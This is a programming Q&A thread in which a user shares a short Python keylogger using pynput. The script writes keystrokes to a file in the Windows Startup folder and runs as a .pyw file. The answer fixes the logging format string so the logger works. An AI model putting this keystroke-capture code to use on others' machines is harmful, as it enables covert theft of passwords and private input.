2

When I tried to make keyboard logger this error appeared every time I pressed a key (in this case it's d). Below is my code and here is my error log:

--- Logging error ---
Traceback (most recent call last):
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 1025, in emit
    msg = self.format(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 869, in format
    return fmt.format(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 611, in format
    s = self.formatMessage(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 580, in formatMessage
    return self._style.format(record)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\logging\__init__.py", line 422, in format
    return self._fmt % record.__dict__
TypeError: not enough arguments for format string
Call stack:
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\threading.py", line 890, in _bootstrap
    self._bootstrap_inner()
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\threading.py", line 926, in _bootstrap_inner
    self.run()
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\__init__.py", line 144, in run
    self._run()
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\win32.py", line 353, in _run
    self._process(msg.wParam, msg.lParam)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\__init__.py", line 162, in inner
    return f(self, *args, **kwargs)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\keyboard\_win32.py", line 240, in _process
    self.on_press(key)
  File "C:\Users\User\AppData\Local\Programs\Python\Python37\lib\site-packages\pynput\_util\__init__.py", line 78, in inner
    if f(*args) is False:
  File "C:\Users\User\Desktop\Random programs\Keyloggar.pyw", line 11, in on_press
    logging.info(key)
Message: 'd'
Arguments: ()

This is my code:

from pynput.keyboard import Key, Listener
import logging

#Defining the directory as well as the key strokes
log_dir = "C:/Users/User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
logging.basicConfig(filename=(log_dir+"key_logger.txt"), level=logging.DEBUG, format = '% 
(asctime)s:%s(messages)')

def on_press(key):
    logging.info(key)
#Giving access of me to myself
with Listener(on_press=on_press) as Listener:
    Listener.join()

Could someone tell me what I did wrong? Did I import the module wrong?

1 Answer 1

3

Your logging format is wrong.

Just replace format = '% (asctime)s:%s(messages)' by format='%(asctime)s:%(message)s'

Sign up to request clarification or add additional context in comments.

1 Comment

That postfix 's' after the closing parenthesis is a mean, little detail! But it actually does the trick.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.